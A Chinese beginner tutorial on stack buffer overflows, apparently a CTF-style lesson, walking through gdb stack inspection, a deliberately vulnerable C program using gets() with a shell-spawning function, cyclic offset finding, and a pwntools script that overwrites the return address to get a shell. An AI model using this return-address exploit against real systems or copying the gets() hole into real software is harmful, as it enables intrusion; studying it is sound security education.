pwn(1)-栈溢出(上)

news2024/11/24 20:52:37
  1. 熟悉栈溢出的原理
  2. 熟悉栈溢出的防御方法
  3. 学会栈溢出的利用方法
  4. 学会栈溢出的奇技淫巧

栈溢出原理和防御(一)

栈的高地址在下低地址在上,先进入的数据压入栈底。
在这里插入图片描述
例如

#include <stdio.h>
int add(int a,int b)
{
    return a+b;
}
int main()
{
    int a=4;
    int b=5;
    int sum;
    sum=add(a,b);
    printf("sum: %d\n",sum);
    return 0;
}

gdb调试到push操作esp会减少4,ebp不变,只改变栈顶。

pop ebp

后esp增加4,ebp会变为刚才esp指向的值
在这里插入图片描述
主要点

1.栈中

2.超出长度

例子

#include <stdio.h>
void pwnme()
{
    system("/bin/sh");
}
int main()
{
    char buf[10];
    gets(buf);
    printf("%s\n",buf);
    return 0;
}

gdb到输入,输入8个1

x/20gx 0x7fffffffdfc0

查看输入
在这里插入图片描述
31313131就是输入的1的ascii码

运行到ret后,返回会main函数,
在这里插入图片描述
返回会地址为0x7ffff7a5a2e1;

进入栈顶esp看看

x/20gx 0x7fffffffcb38

可以看到返回地址储存在

0x7fffffffcb38地址中,

在向上看看

x/20gx 0x7fffffffcb38-16*2

刚才输入的数据在

0x7fffffffcb18和0x7ffffffffcb28中,再后面就是函数返回地址了。

gets函数可以无限写入,把前面注满,就到了存储返回地址的地址,就可以改变返回地址。

输入20个1后,查看栈
在这里插入图片描述
把返回地址覆盖了。

pwntools使用

使用基本框架

from pwn import *
#p= process("./pwn")
p=remote("127.0.0.1",1234)
payload=b"a"*120+p64(0x601020)
p.sendline(payload)
p.interactive()

在这里插入图片描述
在这里插入图片描述
函数返回地址为0x00007ffff7003131

后面的3131就是输入1的填充结果,如果我们把这个地址填充成void pwnme()的地址,就可拿到shell了。
在这里插入图片描述
可以看到,他会提示你该返回地址不存在。

要想修改返回地址,就要知道要溢出多少个字节。

用到工具cyclic

cyclic 50

会生成长度为50的串。

我们把它输入到程序,可以看到地址被修改

在这里插入图片描述
然后我们取后吧个字节就是16进制中的16个数,这里为6164616161616161

然后工具输入就可以计算需要覆盖多少字节

cyclic -l 0x6164616161616161
#18

说明需要18个字节

cyclic 18

输入

aaaaaaaabaaaaaaaca11111111

结果
在这里插入图片描述
成功覆盖。

找到pwnme函数地址

p pwnme

在这里插入图片描述
exp

from pwn import *
p=process("./stack_overflow")
payload=b"a"*18+p64(0x400586)
#64位程序用p64,32位用p32
p.sendline(payload)
p.interactive()

运行得到shell

在这里插入图片描述
注意:Ubuntu18.04 64位 和 部分Ubuntu16.04 64位 调用system的时候,rsp的最低字节必须为0x00(栈以16字节对齐),否则无法运行system指令。要解决这个问题,只要将返回地址设置为跳过函数开头的push rbp就可以了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/624340.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一学就会----反转链表

文章目录 题目描述思路一思路二 题目描述 反转一个单链表。 图片示例&#xff1a; 思路一 其实&#xff0c;反转一个单向链表&#xff0c;我们可以看成是将链表中的每个结点的指向反向&#xff08;即从后一个结点指向前一个结点&#xff09;。 我们在考虑情况的时候&#xff0…

PHY6230国产蓝牙BLE5.2 2.4G SoC低成本遥控灯控芯片

PHY6230是高性价比低功耗高性能Bluetooth LE 5.2系统级芯片&#xff0c;集成32-bit高性能低功耗MCU&#xff0c;16KB OTP&#xff0c;8KB Retention SRAM和64KB ROM&#xff0c;可选EEPROM&#xff0c;适用多种PC/手机外设连接、遥控、灯控等场景。 特点&#xff1a; 高性能多…

Python数据攻略-Pandas的数据计算和清洗整理

大家好&#xff0c;我是Mr数据杨&#xff0c;今天带大家以《三国演义》为背景&#xff0c;探索Python数据处理的奥秘。 将眼光投向谋士们&#xff0c;他们就如同Python的算术运算和NumPy、SciPy函数&#xff0c;精准的计算和预测是他们的必备技能。比如&#xff0c;郭嘉分析敌…

使用 GMDH 进行时间序列预测

目录 主要命令 CreateTimeSeriesData FitPolynomial GetPolynomialLayer 分组数据处理方法&#xff08;GMDH&#xff09; PLOT 主要命令 采用分组数据处理方法&#xff08;GMDH&#xff09;对全球冰体积时间序列的建模和预测 fsz size(A) 返回一个行向量&#xff0c;其元…

创建好的提示词来让 Stable Diffusion 生成 AI 艺术作品图像

如何创建好的提示词来让 Stable Diffusion 生成 AI 艺术作品图像&#xff1f; 文章目录 Stable Diffusion如何使用&#xff1f;优秀的提示词如何制作&#xff1f;主题描述 Subject图片类型风格艺术感觉相机、镜头、渲染 示例基础绘图光线和颜色的变化图片类型美术风格艺术风格组…

springboot+java校园二手物品交易系统vxkyj

本项目在开发和设计过程中涉及到原理和技术有: B/S、Java、Jsp、MySQL数据库等等。 系统有以下几点意义&#xff1a; &#xff08;1&#xff09;提供用户和用户之间互利互惠的交易平台。 &#xff08;2&#xff09;操作简单&#xff0c;用户可以在家里就能淘到自己想要的东西&a…

祝贺!Databend 入选 ICT 中国可信云优秀云原生创新案例

2023 年 6 月 6 日&#xff0c;由工业和信息化部主办&#xff0c;中国信息通信研究院&#xff08;以下简称“中国信通院”&#xff09;、中国邮电器材集团有限公司承办、创原会协办的“ ICT 中国 2023 高层论坛-云原生产业发展论坛”在北京召开。本届论坛以“云智原生新底座&am…

【C++】包装器-bind function

文章目录 包装器function包装器function包装器介绍function包装器统一类型function包装器简化代码的列子function包装器的意义 bind包装器bind包装器介绍bind包装器绑定固定参数bind包装器调整传参顺序bind包装器的意义 包装器 function包装器 function包装器介绍 function包…

【Axure教程】通过输入框动态维护可视化图表

与静态图表相比&#xff0c;动态图表更能吸引观众的眼球并提供更好的视觉效果。动态元素可以吸引观众的注意力&#xff0c;使数据更生动、更具交互性。这有助于提高信息传达的效果&#xff0c;并能够引起观众的兴趣和参与。所以今天作者就教大家&#xff0c;如果通过输入框元件…

[NOIP2003 提高组] 加分二叉树

[NOIP2003 提高组] 加分二叉树 题目描述: 设一个 n 个节点的二叉树 tree 的中序遍历为(1,2,3,…,n)&#xff0c;其中数字 1,2,3,…,n 为节点编号。每个节点都有一个分数&#xff08;均为正整数&#xff09;&#xff0c;记第 i 个节点的分数为 di​&#xff0c;tree 及它的每个…

优雅草蜻蜓T系统·专业版服务端以及后台部署说明-完整步骤-语音会议室支持多人语音,屏幕分享,导航配置,会议管理,会员管理

蜻蜓T系统专业版服务端以及后台部署 1&#xff0c;解压文件和基础环境配置 将源码用git工具克隆到/www/wwwroot git clone git地址 或者是由优雅草发送的商业源码文件包直接进行解压 ​ 编辑切换为居中 添加图片注释&#xff0c;不超过 140 字&#xff08;可选&#xff09;…

十分钟柔和护理,轻松舒缓眼疲劳,云康宝眼部按摩仪体验

平时工作、生活中&#xff0c;每天都要长时间对着手机、电脑等电子设备&#xff0c;像是被它们吸走了灵魂&#xff0c;有时候眼睛干干的、痛痛的&#xff0c;像是被沙子刮过&#xff0c;光靠眼药水之类的东西根本解决不了问题&#xff0c;所以趁着618我入手了一款眼部按摩仪&am…

数字系统。网络层。IPv4 子网划分。ICMP

嘿&#xff0c;伙计们&#xff01;我希望你们一切都好。作为我每周更新计算机网络的一部分&#xff0c;我想分享一些令人兴奋的话题。 首先&#xff0c;我们深入研究了数字系统的世界。本主题重点介绍二进制和IPv4地址&#xff0c;我们学习了如何将二进制转换为十进制&#xf…

Zookeeper部署

Zookeeper的安装 环境变量的配置 上传安装包 使用MobaXterm、FinalShell或者使用scp将安装包apache-zookeeper-3.6.3-bin.tar.gz上传到/root/softwares下 复制代码 解压安装 [rootqianfeng01 ~]# tar -zxvf apache-zookeeper-3.6.3-bin.tar.gz -C /usr/local 复制代码 更名 …

1091 Acute Stroke (PAT甲级)

这道题用dfs做的话&#xff0c;因为递归太多层&#xff0c;堆栈溢出&#xff0c;有两个测试点过不了&#xff1b;所以用bfs。 但令我百思不得其解的是&#xff0c;我没用方向变量x[6], y[6], z[6]&#xff0c;直接老老实实算每一个方向的话&#xff0c;最后一个测试点过不了&a…

17.6:迪瑞克斯啦算法

迪瑞克斯啦算法 这个算法研究的是&#xff1a;有向的&#xff0c;没有负权重&#xff0c;可以有环的图。 这个算法主要研究的是&#xff1a;给出的节点到这张图的其他节点的最短路径是多少。用一个表表示出来。 思路&#xff1a; 如下图所示&#xff0c;我们想要求出a节点到其…

建立时间、保持时间和亚稳态

目录 一、建立时间和保持时间 二、亚稳态 三、避免亚稳态策略 四、多级寄存器阻断亚稳态传播 一、建立时间和保持时间 如图1所示&#xff0c;建立时间&#xff08;set up time&#xff09;是指在触发器的时钟信号上升沿到来以前&#xff0c;数据稳定不变的时间&#xff0c;…

【Apache Pinot】探究 Pinot 中存储模型的设计逻辑和 Segment 详解

背景 上一篇文章中&#xff0c;笔者简单介绍了一下分布式数据库 Pinot 的核心组件&#xff0c;本文主要针对其中的存储模型会做部分讲解。 如果你对读写磁盘有不错的基础的话&#xff0c;看起来会更轻松一些&#xff0c;如果没有也没关系&#xff0c;我会简单讲解一下这么设计…

使用STM32进行串口实验(非中断+中断)

关于串口相关的基本知识可以看这篇文章https://blog.csdn.net/weixin_62599865/article/details/129963991?spm1001.2014.3001.5501 一.使用非中断的方式进行串口通信 串口发送/接收函数&#xff1a; HAL_UART_Transmit(); 串口发送数据&#xff0c;使用超时管理机制 HAL_…

2023最新版本Activiti7系列-Activiti7概述和入门案例

一、Activiti7概述 官网地址&#xff1a;https://www.activiti.org/ Activiti由Alfresco软件开发&#xff0c;目前最高版本Activiti 7。是BPMN的一个基于java的软件实现&#xff0c;不过Activiti 不仅仅包括BPMN&#xff0c;还有DMN决策表和CMMN Case管理引擎&#xff0c;并且有…